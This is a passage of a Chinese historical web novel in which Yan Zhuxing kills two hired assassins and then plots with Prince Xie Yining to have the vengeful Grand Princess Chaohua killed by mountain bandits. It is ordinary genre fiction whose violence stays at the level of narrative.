“小石头,来就来了,怎么还带那么多礼。多见外呀。”老国公崔骏乐呵呵地看着谢翊宁。
谢翊宁嘿嘿一笑:“来探望外祖父,带多少好东西都不嫌多。”
毕竟待会他要问外祖父要那流火枪,不给点东西白拿那多不好意思啊。
“咱们永安王向来孝顺,父亲您又不是不知道。”忠国公崔凝辉笑着接话。
“舅舅,都说了自家人,您和父皇母后一样唤我石头就行。何必这般生疏。”谢翊宁无奈地看了他一眼。
崔凝辉整袖微揖,眼底却漾开笑意:“礼不可废,殿下终归是亲王之尊。但今日既在府中,便依殿下所言罢。”
随后将扒拉在自己腿边的小孙女崔莺时牵了出来,笑道:“小时,还不赶紧给你表舅行礼。”
三岁的崔莺时奶声奶气道:“小时见过表舅舅。”
谢翊宁一把将她捞起来抱到了怀里,笑着问她:“小时有没有想表舅呀。”
“有!”崔莺时朗声回答。
为了表明自己真的有想表舅,崔莺时啵唧亲了谢翊宁的脸颊一口,只是一不小心,没接住口水,啪嗒落到了谢翊宁的领口。
崔莺时的母亲贺氏看到这一幕,吓了一跳,赶忙上前道歉:“王爷息怒,小女不是故意的。”
谢翊宁无所谓地摆了摆手:“小孩懂什么,都是自家人,表嫂不必这般紧张。”
忠国公崔凝辉见他当真不在意,便笑着看向儿媳妇:“是啊,这小子当初还尿我身上呢,小时弄点口水在他身上,算不得什么。”
谢翊宁闻言,佯装恼怒地瞪了他一眼:“舅舅,这都多少年前的事情了,咱们就别提了吧。”
崔凝辉哈哈一笑:“不提不提,等你有了儿子,让你儿子尿舅舅身上,舅舅也高兴。”
“这都没影的事,不说这些了。”谢翊宁摆摆手,将崔莺时还给了贺氏,神秘兮兮地凑到崔凝辉身旁。
“舅舅,我想要外祖父那杆流火枪。要是外祖父不答应,您帮我求求情呗。”
“你可以再大声一点的。”一旁的老国公没好气地看了他一眼。
说那么大声,不就是说给他听的么。
谢翊宁凑到了老国公身边,嬉皮笑脸道:“哎呀,说大声点外祖父就会答应么?那我可就大声说了啊。外祖父,我想要流火枪!”
老国公横了他一眼:“不给。你三天打鱼两天晒网,什么东西都是摸两天就不玩了,流火枪给你浪费了。”
谢翊宁一本正经道:“什么叫三天打鱼两天晒网,我那是在有限的时间里多学点东西。毕竟我可能都活不过二十岁,不得什么都试试,什么都玩玩么。”
这话一出,在场的人瞬间都沉默了。
第172章 为何不救我
“父亲,您就把流火枪给小石头吧。难得他开口跟您要一样东西。”崔凝辉看向了父亲,眼里带上了一丝恳求。
“就是就是。”谢翊宁跟着点头。
“你这混小子。”老国公伸手轻轻拍了他的背一下。
“当年国师预言传出宫第二日,你外祖母便拽着我跪在玄空寺佛前。我们叩着头对佛祖起誓,愿各舍二十年阳寿换你平安康健。”
“这样,你至少能活到六十了,也不算白来这世上一遭。”
“佛前许下这心愿没多久,你外祖母就走了。我想,佛祖一定是听到了我们的诚心。”
“毕竟你外祖母走的时候,才四十出头。”
老国公提起去世的夫人,眼里带上了一些泪光。
“所以呀,你小子别整日把活不过二十挂嘴上。不吉利!”
谢翊宁没想到当年竟然还有这样的事情。
他心里沉甸甸的,看着众人关切的视线,重重点头:“外祖父,我一定会好好活下去的。让您看到我的儿子,孙子,曾孙子……”
话还没说完就被老国公给打断了。
“你小子说的什么话,看到你曾孙子,我岂不是得活到一百多岁。你可真敢想啊。”老国公哈哈大笑,将伤感掩埋。
“行了,流火枪给你就是。你可得好好珍惜它,切莫将它锁在库房里就不管了。”
“外祖父您就放心吧!”谢翊宁答应得很痛快。
按照晏逐星那个拼命练习的劲,流火枪跟了她怕是没有一日能休息的机会。
“取枪来吧。”老国公吩咐了下去。
谢翊宁让停云将流火枪收好,随后陪着崔家人一块用了午膳,方才离开。
拿到枪的第一时间,谢翊宁就把它和昨日收到的浮光锦一块送去了晏宅。
晏逐星没想到他动作那么快,竟然不过一日的时间就寻到了这么一杆好枪。
晏逐星摸着流火枪爱不释手。
她感激地看着谢翊宁:“王爷,您对我这么好,我都不知道该怎么报答您了。”
“你好好活着就是对我最大的回报了。”谢翊宁摸了摸她的脑袋。
看着她眼里的欢喜,谢翊宁觉得这比他收到什么赏赐都让人开心。
*
晏逐星过得很好,但朝华大长公主就过得很不好了。
她又一次从噩梦中惊醒。
“殿下,您没事吧?”瞧见朝华大长公主额头上的冷汗,她的贴身侍女香芷流露出了一丝担忧,旋即递上了帕子。
朝华大长公主双目无神地看着床边的帷幔,一言不发。
自女儿葬身火海那日起,她便坠入了无休止的梦魇。
夜复一夜,那冲天的烈焰必会准时在她梦中燃起。
她的女儿,她心尖上的福安,小小的身影就困在那火海中央,烈火焚身,一遍一遍地质问她:“母亲!你为何不救我?!”
想到女儿那撕心裂肺的哭喊声,朝华大长公主尖叫着抱住了脑袋。
“啊啊啊啊啊——”
香芷吓坏了,不敢上前,只得匆匆派人去将驸马请来。
朝华大长公主不敢闭上眼睛,她一闭上眼睛,看到的就是那场无情的大火。
那火就在公主府邸附近冲天而起,浓烟还飘入了府内的花园。
而彼时彼刻,她在做什么呢。
她正安然端坐于华堂之内,耳中充斥着戏台上婉转的唱腔与悠扬的丝竹,眼前是水袖翩跹、锣鼓喧天。
府外绝望的呼救、焦糊的气味、冲天的火光竟都被那咫尺之间的戏台喧嚣隔绝在外。
朝华大长公主捂着心口倒在床上,口中喃喃自语:“福安,你莫要怪母亲,母亲一定会替你报仇的。”
她不止一次地后悔过,那一日为何不让人去救火。
若是救了火,她的福安或许就不会出事了。
驸马匆匆赶来时,就瞧见了这一幕。
朝华大长公主躺在床上蜷缩着身体,浑身都是冷汗,脸色惨白如鬼。
驸马赶忙上前抱住了她。
“朝华没事了,没事了,一切都会好起来的。”
“本宫又梦到福安了,她在怨我。”朝华大长公主听到他的声音,猛地睁大了眼睛,沾了汗水的双手一把搭在了他的肩膀上。
“我们一定要替福安报仇,否则她永远不会原谅我们的。”
“好,替福安报仇。一定会替她报仇的。”驸马紧紧抱住了她。
在驸马的安抚下,朝华大长公主情绪渐渐稳定下来。
她一言不发,起身沐浴更衣,再出来时,她整个人的眼神里带上了一丝决绝。
“本宫不想忍了。”
“本宫要让她下十八层地狱去给福安陪葬。”
驸马定定地看着她,还没来得及说出口的劝阻化作了无奈的叹息。
“好,那便如您所愿。”
夫妻二人坐下,商议着之后该如何除掉晏逐星。
最简单的方法就是直接派暗卫潜入晏宅,将其斩杀。
但他们不确定永安王有没有给她留有人手。
此举只能成功不能失败。
不然天子脚下出现灭门惨案,定会惹得人心惶惶,皇上也一定会严厉彻查。
这个计划风险太大,被他们放弃了。
“不如等上巳节她出门时杀了她。”朝华大长公主开口。
还有几日就是上巳节了。
京中未婚男女届时都会出门游玩,想必晏逐星也不例外。
“若她出门是和谢翊宁一起呢?”驸马叹了一口气。
只要有谢翊宁在,他们动晏逐星就没那么容易。
那可是个混不吝的。
如今他护着晏逐星,若晏逐星出事了,他一定会搅翻整个京城来查找真凶。
这就是他一直劝公主忍一忍的原因。
等两年后谢翊宁死了,晏逐星他们想怎么弄死,就怎么弄死。
但如今公主不想忍了,那他们便动手吧。
总该给他们的女儿报仇。
想到死掉的福安郡主,驸马痛苦地闭上了眼睛。
那可是他最疼爱的女儿啊。
朝华大公主听到谢翊宁的名字就气得牙痒痒,但她确实也拿他没办法。
沉默许久,驸马再次开口:“或者,可以定在烈国公府认亲宴那日。”
烈国公夫妇要认晏逐星为义女,此事本该过完年就操办,但正好撞上了定远侯成婚,便推迟了。
没想到定远侯竟然死在了大婚那日。
虽然晏逐星不是定远侯的亲女儿,但毕竟当了十多年的父女,为了避免忌讳与外人的闲话,烈国公府再一次推迟了认亲宴。
如今这场认亲宴定在了五月初。
距今还有两个月,他们可以慢慢准备。
“太久了。”朝华大长公主不想等。
“但那是最好的时机了。”驸马语气坚决。
“那个时候再要她的命,在那之前,咱们可以先收点利息。”
第173章 设局杀公主
朝华大长公主和驸马在暗地里策划着如何杀掉晏逐星,晏逐星也在思索着该怎么除掉朝华大长公主。
她杀了福安郡主,和朝华大长公主已经是不死不休的死敌了。
朝华大长公主派人暗杀她一次不成,一定还会有第二次。
她第二次未必还会有上次那样的好运道。
与其坐以待毙,不如主动出击。
所以她要抢先一步,设局杀了朝华大长公主。
但是到底怎么做,才能让朝华大长公主的死显得像个意外,还不牵扯到她呢。
晏逐星思索了起来。
她不能把谢翊宁牵扯到这件事里来。
毕竟朝华大长公主怎么说都是他名义上的姑母,若是日后这事一个不慎被人翻了出来,就算帝后再怎么宠爱他,他也不可能毫发无损。
晏逐星仔细回忆着上辈子的事情。
上巳节前后,究竟有没有发生什么事能让她利用上。
她躺在床上翻来覆去地想,终于从犄角旮旯的回忆里想起了一件事情。
上巳节那会儿她还留在侯府,温如霜带着晏明月出府交际,当日回府后,两人脸色都很不好看。
只是隐约听到她们说了几句有人出事了,还嘱咐晏明月这些时日不要出门。
可出什么事了,她一概不知。
就在晏逐星绞尽脑汁苦想时,头顶的屋瓦猝然传来几声极其轻微的咔嚓脆响。
有人来了!
听脚步声,不止一人。
难道朝华大长公主这么快就沉不住气了?
晏逐星心下一惊,来不及细想便抓起枕头下的匕首,而后飞快地将枕头塞入被褥,伪装出床上有人在沉睡的假象。
整个过程不过片刻功夫,紧接着她躲到床下,屋内重归死寂。
屋顶的瓦片被人撬开,一股带着甜腻腥气的灰白色烟雾顺着瓦片缝隙弥漫而下,迅速在昏暗的室内散开。
是迷烟。
晏逐星立刻屏住呼吸,闭紧双眼,仅凭敏锐的听觉捕捉着屋顶的动静。
她听到屋顶瓦片被小心挪开,然后是两道黑影落地的声音。
迷烟尚未散尽,两人落地后并未立刻动作。
晏逐星从床底处隐约看清了两人的身形。
一胖一瘦。
胖子殿后,瘦子灵巧地朝床榻摸去,手中的短刀对着被褥下隆起的人影心脏位置狠狠刺下。
匕首落下那一瞬间,他便意识到了不对劲。
“空的!咱们上当了。”瘦子惊觉不妙,失声低呼。
晏逐星屏气已经快到了极限,她从床底翻出,果断刺向因为震惊而失神的瘦子。
瘦子察觉到床底有人,想要闪躲已经来不及,晏逐星直冲他的脚踝而去。
瘦子的脚筋当场被挑断。
“啊——!”
剧痛让他控制不住声音,发出了惨叫。
他站不稳,踉跄着想要往同伴的身上倒去,不曾想,晏逐星根本不给他机会。
她欺身而上,左手扣住瘦子的右臂,狠力一拧一错!
“咔哒!”
清脆的骨裂声响起。
瘦子整条胳膊瞬间软垂,剧痛让他眼前发黑,根本拿不稳手里的武器。
“阿猫!”殿后的胖子见同伴瞬间被废,目眦欲裂,一手接住他,另一手拿着刀狠狠劈向晏逐星的面门。
“小姐当心!”
就在这时房门被猛地撞开,九栀手持利剑如一道影子般冲了进来。
她早已惊醒,闻声即动。
晏逐星闪开,胖子一刀劈了个空。
他心头顿时大骇。
他万万没料到目标不仅身手狠辣,竟还有帮手。
恐惧瞬间压过愤怒,他立刻收势,拧身就想撞窗而逃。
“想走?晚了。”
晏逐星冷笑,月光下,她与九栀眼神交汇,便明白了彼此的意思。
两人身影交错,一左一右,剑光匕影瞬间封死了胖子所有退路。
九栀的剑刁钻地刺向胖子肋下,迫使他回防,只一瞬间的功夫,晏逐星的匕首就架在了他的脖子上。
冰冷的匕首紧贴皮肉,胖子浑身僵直,不敢再妄动分毫。
“谁派你们来的?”晏逐星沉声发问。
“收了银子,就得讲江湖道义!”胖子梗着脖子,语气十分强硬,“你休想从我这儿套出半个字。”
“用你的命威胁,也不说?”晏逐星眉梢微挑加重了手上的力道。
匕首的寒光倒映在她眼中,让她的眼神看起来愈发冷漠了。
“当然!老子骨头硬得很!”胖子掷地有声,一副视死如归的模样。
“很好。”晏逐星唇角勾起一丝极淡的笑。
“我就佩服你们这种讲道义的人。”
话音落下,她的手腕猛地向前一送,匕首精准无比地贯穿了胖子的咽喉。
胖子脸上那副强硬的表情瞬间凝固,取而代之的是难以置信的惊愕。
他眼球凸起,死死瞪着眼前的晏逐星,显然完全没有料到她会突然出手。
他沉重的身躯直挺挺向后栽倒,鲜血汩汩涌出,迅速染红了地面。
晏逐星面无表情地抬手,用袖口慢条斯理地揩去溅到脸颊上那点温热的血珠。
她垂眸看着地上胖子那双至死都圆睁着的、充满错愕与不甘的眼睛。
缓缓蹲下身,伸出染血的指尖,轻轻覆上那死不瞑目的眼皮,声音平静得近乎诡异:“你要讲道义,我便成全你。只盼你的雇主来年记得给你烧炷香。走好。”
角落里被挑断脚筋卸了胳膊的瘦子,早已吓得魂飞魄散,浑身抖如筛糠。
浓烈的血腥味和同伴死不瞑目的惨状,彻底击溃了他心头最后一丝侥幸。
他在脑海里无声尖叫了起来:
他娘的,这小娘们好可怕啊啊啊啊。
早知道他就不抢着接这一单了。
这哪是什么挣快钱的好单子,分明是送他去见阎王的催命符。
晏逐星转身走向了他,微微一笑:“你也要讲道义么?”
第174章 杀了两个人
“小姐饶命!”瘦子的求饶声带上了哭腔。
“我说,只要你放过我,我什么都说。”
晏逐星半蹲着身子看向他,脸上的笑容越发诡谲,她轻轻开口:“说吧,你们是什么人,又是谁让你们来杀我的?”
“我叫阿猫,他叫阿狗,我们就是混口饭吃的可怜人。有一个道士出了五百两银子买你的命。我们就来了。”瘦子阿猫半点谎话都不敢撒,一股脑全都说了出来。
面前的女罗刹太可怕了,他根本不敢有半点歪心思。
“道士?”
晏逐星一愣。
她还以为是朝华大长公主派来的人呢。
也对,这两人的功夫都是野路子,不像是公主府培养出来的杀手。
她相信了阿猫说的话。
“没错,就是道士。”阿猫疯狂点头,哭着道,“小姐,我知道的都说了,您就放过我吧。我保证今夜发生的事情,一个字都不会说出去的。”
说到最后,他已经分不清自己滑落到嘴里的究竟是眼泪还是鼻涕了。
晏逐星想起了定慈观那位潜逃在外的道士。
难不成是他?
“他是不是叫明宵?”晏逐星追问。
“我不知道。”阿猫连连摇头。
“事成之后,你们去哪里找他要赏银?时间,地点,接头暗号,都给我说清楚。”晏逐星又问。
“城外荒废的李家宅子,据说那儿闹鬼,明日丑时三刻,我们以猫叫狗叫为号。长叫三声喵,短叫两声汪。他就会现身。”阿猫全都交代出来了。
一旁的九栀听完嘴角忍不住抽了抽。
好草率的暗号。
“小姐,我知道的事情真的全都说完了,您就放了我吧。”阿猫再次恳求。
“嗯,我知道,你都说完了。”晏逐星点了点头。
阿猫见状顿时大喜,以为自己可以脱身,正欲道谢,就看到晏逐星手中的匕首刺向了他。
和先前杀阿狗时如出一辙,匕首径直贯穿了他的咽喉。
阿猫脸上出现了和胖子阿狗一样不可思议的表情。
“我……不是……”
他想说他不是都说了吗,为什么晏逐星还是不肯放过他。
晏逐星认真地看着他,安慰道:“别怕,黄泉路上,你们可以结伴,不会太寂寞。”
谁他娘要结伴去死啊!
这是阿猫意识消散前的最后一个念头。
确认他真的咽气之后,晏逐星长长地吐出了一口气。
他们来杀她的时候,可没想过放她一条生路。
她自然也不会手下留情。
“小姐?九栀姐姐?你们没事吧?”门外传来了双鲤紧张地询问声。
先前听到动静,她和衔蝉姐姐就醒了。
九栀姐姐让她呆在外边见机行事,不会武功就不要进来添乱了。
而衔蝉姐姐当机立断去找了王爷,如今还没回来。
“我们没事,你先别进来,你去弄些热水来,我要沐浴。”晏逐星怕吓到她,将她支走。
“是。”双鲤听话地没有进屋,当即去准备热水。
九栀摸索着点亮了桌上的油灯。
昏黄的光晕染开,瞬间驱散了屋内的黑暗,也清晰地映照出屋内的一片狼藉。
晏逐星定定地站着,目光沉沉地锁在地上那两具尚带余温的尸体上,一言不发。
“小姐?”九栀看着她这副沉默的模样,心头一紧,担忧地轻唤出声。
话音刚落,窗户发出哐当的声响。
九栀与晏逐星瞳孔猛地一缩,几乎是身体的本能反应,两人转身将手中的兵器就刺向破窗而入的不速之客。
然而看清眼前的来人时,两人硬生生地撤回了先前的击杀。
谢翊宁闪身握住了晏逐星的手。
晏逐星脸上满是错愕:“王爷,您怎么来了?”
“衔蝉急报,称有刺客,本王尚未入睡,便亲自走这一遭了。”谢翊宁扫了地上的两具尸体一眼,确认威胁已除,眉头才略微舒展。
他正欲开口唤门外的照夜与停云进来清理残局,视线却不经意间落在了晏逐星身上。
昏黄的灯光下,少女只穿着一件单薄的素色中衣,衣料因方才的打斗略显凌乱,清晰地勾勒出纤细的身形。
谢翊宁的目光骤然一凝,随即像是被烫到般猛地移开。
一抹不易察觉的绯红,倏然从他耳根处蔓延开来,瞬间染红了脖颈。
他像是被烫到了一般,迅速地松开了方才情急之下握住晏逐星手腕的手。
随后一把捞起床上那张被刺客刺破的锦被,动作带着几分不容置疑的慌乱和强势,不由分说地就将晏逐星从头到脚严严实实地卷裹了起来。
等晏逐星反应过来,她已经被裹成了一个密不透风、只勉强露出半张小脸的“人形粽子”。
晏逐星:“……”
谢翊宁这才仿佛完成了什么重大任务,微微侧过身视线飘向了窗外。
他喉结几不可察地滚动了一下,方才强压下那不合时宜的赧然与尴尬。
他轻咳两声:“天冷,莫要染了风寒。”
像是怕晏逐星开口,他急急道:“尸体待会本王让停云和照夜来处理,你不必担心。我本不该进你的寝屋,但事急从权,还望你不要计较。”
“我怎么会计较这些小事,我感谢王爷还来不及呢。”晏逐星也意识到自己先前穿着中衣不宜见外男,她也尴尬地别过了头,盯着先前被阿猫阿狗弄开的屋顶。
两人一人看窗,一人看天。
九栀忽然觉得她的存在好像有些多余。
这时,双鲤和衔蝉的声音打破了沉默。
“小姐,热水来了。”
晏逐星赶忙道:“我这就来。”
而后,她下意识地想要冲谢翊宁行礼离开,但却忘了自己现在被裹得严严实实双手根本动不了。
“王爷,我……”
她这一动,差点没站稳就要往后栽去。
“小姐当心。”九栀猛地冲了过去搀扶住了她。
谢翊宁伸出去的手赶紧又收了回来,握拳放到唇边,轻咳一声:“嗯,你先去忙吧,这儿交给照夜和停云。待会你弄好了,咱们花厅见。”
说完他快步离开了晏逐星的屋子。
九栀将锦被替她解开,晏逐星赶忙披上了衣裳去沐浴。
洗了个热水澡,换好了衣裳,晏逐星发现屋子里已经恢复如初,全然看不出先前里边躺着两具死尸。
果然专业的事还得交给专业的人来干啊。
晏逐星在心底暗暗嘀咕。
“小姐,王爷还等着您呢。”衔蝉上前提醒。
“就来。”晏逐星点头,快步去了花厅。
第175章 她试探王爷
瞧见晏逐星,谢翊宁给她倒了一杯热茶。
动作行云流水之自然,让停云和照夜忍不住对视一眼。
王爷在府里都是别人尽心尽力伺候着的,没想到有朝一日竟然能看到他伺候别人。
王爷待晏大小姐真是不一般。
“多谢王爷。”晏逐星接过热茶坐下。
“可有受伤?”谢翊宁问。
“没有。”晏逐星摇头。
她反应很快做了埋伏,九栀救援也很及时,因而并未受伤。
听到她这么说,谢翊宁放心多了。
他这才问起正事。
“可曾问出他们幕后之人是谁了?”
晏逐星迟疑了片刻,思索着要不要说出来。
如果今夜来刺杀的人真是明宵找人来的,这事就是她引起的,与谢翊宁无关。
她知道谢翊宁对她好,但这个好能持续多久,她不知道。
她不想什么都麻烦谢翊宁。
恩情要用在刀刃上。
什么小事都麻烦他的话,说不定很快就会被厌弃了。
她的沉默落在谢翊宁眼中就成了不敢言说。
他直接将自己的猜测说了出来:“可是朝华姑母派来的人?”
听到这话,晏逐星心念一动,忍不住起了试探的心思。
“若是朝华大长公主派来的人呢?王爷会怎么做?”
“当然是有仇报仇,有怨报怨咯。”谢翊宁毫不犹豫地回答。
“可朝华大长公主毕竟是您名义上的姑母……”晏逐星顿了顿,没有继续说下去。
谢翊宁听懂了她话外的担心。
他和朝华大长公主都是皇室中人,天然就是同盟。
在她和朝华大长公主之间,她认为他会选择朝华大长公主。
“那又如何?”谢翊宁挑眉一笑。
“她是本王的姑母,但你却是本王的救命恩人。你给了我一条命。孰轻孰重,难道我还分不清吗?”
随后谢翊宁低头小声嘀咕:“再说了,也不是亲姑母。若是亲姑母,福安这样乖戾成性的表妹我早就直接揍一顿了。”
听清他说了什么的晏逐星:“……”
永安王真是性情中人啊。
说罢他抬头冲晏逐星笑了笑,似是有意安抚:“你又没招惹福安,是福安先对你下死手的,你的所作所为不过自保罢了。姑母怨你,是她糊涂。若是对你下杀手,那就是愚蠢且恶毒。”
晏逐星一怔,深吸一口气看向谢翊宁一字一句道:“所以王爷的意思是如果今夜行刺之人是朝华大长公主派来的,王爷会站在我这边帮我复仇,对么?”
“当然。”谢翊宁毫不犹豫地回答。
晏逐星的一颗心像是被投入滚水的寒冰,瞬间炸裂开无数细小的缝隙,又被汹涌而至的暖流彻底包裹。
那份沉甸甸压在心头的担忧,被他这斩钉截铁的话语猛地撞散了。
她喉头竟微微发哽,一股难以言喻的热流直冲眼眶,又被她强行压了回去。
“所以今夜的人真的是公主府的吗?”谢翊宁一边问一边在脑海里盘算着怎么样才能让这两具尸体的用处最大化。
然后就听到晏逐星开口。
“不是。”
“哈?”谢翊宁傻眼了。
停云和照夜也懵了。
晏大小姐铺垫了前面那么长,逗他们玩呢?
“但朝华大长公主前些时日确实派了四个暗卫到定远侯府杀我。”晏逐星把那日的事情一一道来。
停云、照夜:“……”
这位大小姐说话能不能别大喘气。
听完她的话,两人看向她的眼神多了一丝敬意。
一个未及笄的姑娘,连着另一个丫鬟,二对四竟然打赢了训练有素的暗卫。
这位晏大小姐当真是不容小觑啊。
两人心底都生起了一个念头:
只要给她足够的成长时间,假以时日,这位晏大小姐定然能取得不凡的成就。
“那你为何事后不来寻本王?”谢翊宁有些不高兴。
“王爷那时候在禁足……”晏逐星试图解释。
况且那时候她也不确定他对朝华大长公主究竟是什么态度,自然就想着将此事瞒下了。
“我是在禁足,不是死了。父皇可没说不许别人来看我。”
不知道是不是晏逐星的错觉,她怎么感觉永安王这话听起来带了些委屈和恼怒。
“是我错了,下回遇上这种事一定第一时间告知王爷。”晏逐星从善如流地道歉。
“毕竟王爷这般聪慧,肯定能想出更好的法子将人拿下。”
她趁机又夸了夸谢翊宁。
相处多次,她已经摸准了谢翊宁的性子。
永安王看着挑剔,实际上很好哄,夸两句他就会恢复笑容了。
果不其然,谢翊宁听到这话唇角上翘,明显心情就好了不少。
晏逐星瞧着他这模样,总觉得他和雪团儿有几分相似。
都说猫似主人,还真有几分道理。
想到谢翊宁私底下或许会和雪团儿一样伸懒腰在床上打滚,她就忍不住也翘起了唇角。
“算你有眼光。”谢翊宁端坐了身子,收敛笑意,询问起今夜之事。
晏逐星这回没有卖关子,把阿猫交代的事情全都说了出来。
“明宵?”谢翊宁对这个名字毫无印象。
晏逐星提醒:“通州,定慈观。”
谢翊宁当即想起来了。
定慈观被抓的妖道有一同伙叫明宵,当时回乡去了,据说是个手上沾过人命的凶神恶煞之徒。
当时裴明镜还以此为由,想让晏逐星保护他,一块跟他回京城。
“此人不好好躲着,竟然还敢找上门来杀你?”谢翊宁眸色瞬间变冷。
真是活得不耐烦了。
他当即扭头吩咐:“停云,照夜,明日按照约定时间,你们去会会这妖道,务必活捉……”
“王爷且慢。”晏逐星开口打断了他的安排。
第176章 上一世怪事
“嗯?”谢翊宁疑惑地看着她。
“你不想活捉吗?那直接弄死也行。”
晏逐星哭笑不得。
“不,我留着他,有用。”
“横竖那人不过是一具会喘气的皮囊罢了,能有什么用?”谢翊宁顿感好奇。
晏逐星犹豫片刻,还是把自己的想法说了出来。
“只有千日做贼没有千日防贼的道理,朝华大长公主一朝杀我不成,恐怕还会有第二次。”
“倒不如将大长公主骗出来,让明宵来成为杀人凶手。”
到时候不管是朝华大长公主死了,或者是明宵死了,两人狗咬狗,对她都只有好处没有坏处。
谢翊宁仔细思索着她的话,而后摇了摇头:“时间太短,恐怕来不及将她骗出城去。”
“不,只要跟她说一句话,她就一定会来。”晏逐星十分笃定。
“哦?什么话?”
晏逐星俯身凑到他耳边,温热的气息撒在他的耳廓,谢翊宁莫名就紧张了起来。
“届时,只需要告诉大长公主……”
一旁的停云和照夜急得抓耳挠腮。
要告诉大长公主什么?
倒是让他们也听听呀。
晏逐星说完坐回了椅子上。
谢翊宁心头那股异样的感觉顿时消散了几分。
他点了点头:“言之有理,这么说姑母肯定会来。只是时间太紧,咱们该怎样才能让这事看起来与我们无关呢。”
毕竟时间实在是太短了。
一日的功夫布好一个必杀局,是有些难。
“我想请王爷帮我打听打听近来京中是否发生了什么怪事。若是有,或许可以用得上。”晏逐星自己想不起来上辈子上巳节发生了什么事,但可以让谢翊宁去帮忙查。
“得把京城这潭水搅浑了,大长公主的死才不会显得那么奇怪。”
“怪事?”谢翊宁听她提起这事,便绞尽脑汁想了起来。
这一世,他被禁足,并未太过留意过京城里发生了什么事。
他只得去回想上辈子的事情。
上巳节。
怪事。
“还真有!”谢翊宁猛地想了起来。
想到是什么事情,他顿时皱紧了眉头。
“是什么事?”晏逐星见他表情不对,忍不住追问。
谢翊宁没有马上回答她,脑子里全是上辈子上巳节发生的事情。
陆太傅家的小孙女,陆……
陆什么?
谢翊宁一时间想不起来。
但他记得,上一世,好像她就是在上巳节那天出的事。
那天京城里的小姐们都出城踏青去了,热闹得很。
可不知道怎么搞的陆太傅的小孙女被落下了,一个人困在城外。结果遇上了山里的那帮杀千刀的匪徒,把好好一个姑娘家给糟蹋了。
这事儿传到陆太傅耳朵里,老头子气得差点背过气去,二话不说派人把那群畜生全宰了,然后自己跑到宫里跟父皇请罪。
谢翊宁也是那时候才知道就在京城边上的象山里头,居然还藏着这么一窝无法无天的禽兽。
陆太傅是拼了命想把这事捂住,可世上哪有不透风的墙。
风言风语还是像长了脚似的在京城里传开了。
没过多久,陆家小孙女就没了。
她一死,她那个已经嫁给寒门状元傅寒松的长姐陆壁君,红着眼杀回了太傅府。
也不知道她用了什么法子,硬是逼得那位陆太傅把后娶的那个继夫人蔺氏给打发回了老家,好像回了老家没多久,蔺氏就身亡了。
直到后来母后提起可惜了,他才知晓,母后属意陆家小孙女当他的正妃。
正因为此事,蔺氏生了歪心思,想将陆家小孙女毁了,好让她的嫡亲孙女取而代之来当永安王妃。
重活一世,变数太多。
母后似乎已经放弃撮合他和陆太傅的小孙女了,或许这一回上巳节,她不会出事了。
不过那窝匪徒还是得剿。
就算他们没祸害陆太傅的孙女,也会祸害其他百姓。
见他迟迟不语,晏逐星也不急,一直安静地在一旁等着。
许久后,谢翊宁方才开口。
“京郊象山上,似乎有一窝匪徒。”
“匪徒?”晏逐星一愣,而后眼睛一亮。
谢翊宁看着她的眼神,便知道她是怎么打算的了。
“你想让那群匪徒来杀了朝华姑母?”
晏逐星点头。
匪徒可比明宵好用多了。
先让大长公主帮她除了明宵,再让匪徒帮她除了大长公主。
一箭双雕。
届时说不定还能让谢翊宁捞一个剿匪的功劳。
谢翊宁沉声道:“是个好主意。但先不要冲动,待本王加急派人去查探这群匪徒的来历再说。”
“好。”晏逐星点了点头。
两人又完善了一下整个计划。
他们要的就是打朝华大长公主一个措手不及。
这位尊贵的长公主殿下绝想不到,在她眼中渺小如尘芥、本该在追杀下惶惶如丧家之犬的晏逐星,竟敢如此迅疾地对她亮出獠牙。
在她那高高在上的认知里,蝼蚁只配东躲西藏的逃窜,绝不可能有反击的胆魄。
他们利用的就是她这份傲慢与轻蔑。
正如那群匪徒就盘踞在天子脚下的象山,却无人察觉。
“灯下黑。”
两人脑海里同时浮现出了这个词。
*
谢翊宁悄悄地来,也悄悄地走,没有惊动任何人。
晏逐星杀了人之后,九栀还担心她会不会睡不好,没想到她沾床就睡。
不仅如此,翌日清晨还吃了一大碗面,丝毫没有被影响的意思。
和她有一样想法的还有谢翊宁。
怕晏逐星会受那两具尸体的影响,还命季太医来了一趟,让季太医给她开一些安神的药。
季太医手指头刚搭上去没两息就撤了。
衔蝉和双鲤紧张地询问:“季太医,我家小姐如何了?可有受到惊吓?”
季太医撇撇嘴道:“吓着?我看她精神头足得能上山打虎!安神药?留着给需要的人吧!”
晏逐星有些无奈地看着她们:“都说了我没事。”
“没事就好,没事就好。”衔蝉长长地吐了一口气。
季太医正欲拎着药箱离开,晏逐星就叫住了他。
“不过,季太医来都来了,您帮我演一场戏吧。”
“又演什么戏?”季太医警惕地盯着她。
“嘿嘿,一点点小忙。”晏逐星狡黠一笑。
最后在衔蝉新鲜出炉的三鲜包子的攻势下,季太医答应了帮忙。
若今日有人打探她的身体,就说她昨夜受了重伤。
随后衔蝉哭丧着一张脸将季太医送走了,伪装出一副悲痛欲绝的模样。
关上门后,她忍不住问双鲤:“我方才演得如何?”
“蛮好的。”双鲤点了点头,表示认可。
“若明宵能看到,定然会信以为真。”
整个晏宅都安静了下来,再无人出门。
午饭后,晏逐星正在看书,九栀就拿着一封信急匆匆地赶来了。
“小姐,永安王那边递消息来了。”
第177章 公主与匪徒
“王爷怎么说?”晏逐星迫不及待地追问。
九栀将信递给了她。
晏逐星打开快速翻看,看完上边的内容不禁感慨一句真是天助她也。
信上说,永安王的人已成功潜入象山,捉住了一个落单的匪徒撬开了他的嘴。
供词里抖露出来的真相,让晏逐星心下忍不住叹息。
原来盘踞在象山的那伙亡命徒,竟是因为朝华大长公主而起。
这帮人,从前都是象山脚下老实巴交的庄户人家。
只因前两年,朝华大长公主看上了象山南麓那片风水绝佳的缓坡地,要圈起来给福安郡主建一座避暑的别庄。
公主府那些狗仗人势的家丁压根不管什么王法地契,强行驱赶了农户不说,补偿给的那点银子还不够塞牙缝。
有那硬骨头不肯搬的,直接被推平了房屋,当场被打断了一条腿。
寒冬腊月里,农户们拖家带口被赶出祖祖辈辈生活的家园,冻死饿死的都有。
活路断了,他们便只得落草为寇。
起初,他们只为活命,不过是摸点偷点口粮,填饱肚子便罢手。
可贪念如同野草,一旦生根便疯长。
抢掠的胆子肥了,心肠也硬了。
最终从偷粮的贼变成了夺命的匪,每个人手上都染了血,再不是当初只为一口饭的可怜人。
晏逐星心下有些唏嘘。
她将信烧了,看向九栀:“可以了,按照之前说好的,城门落下两刻钟前,让人去一趟公主府。”
吩咐完后,她便低调地换了身衣裳,悄悄去了定远侯府。
*
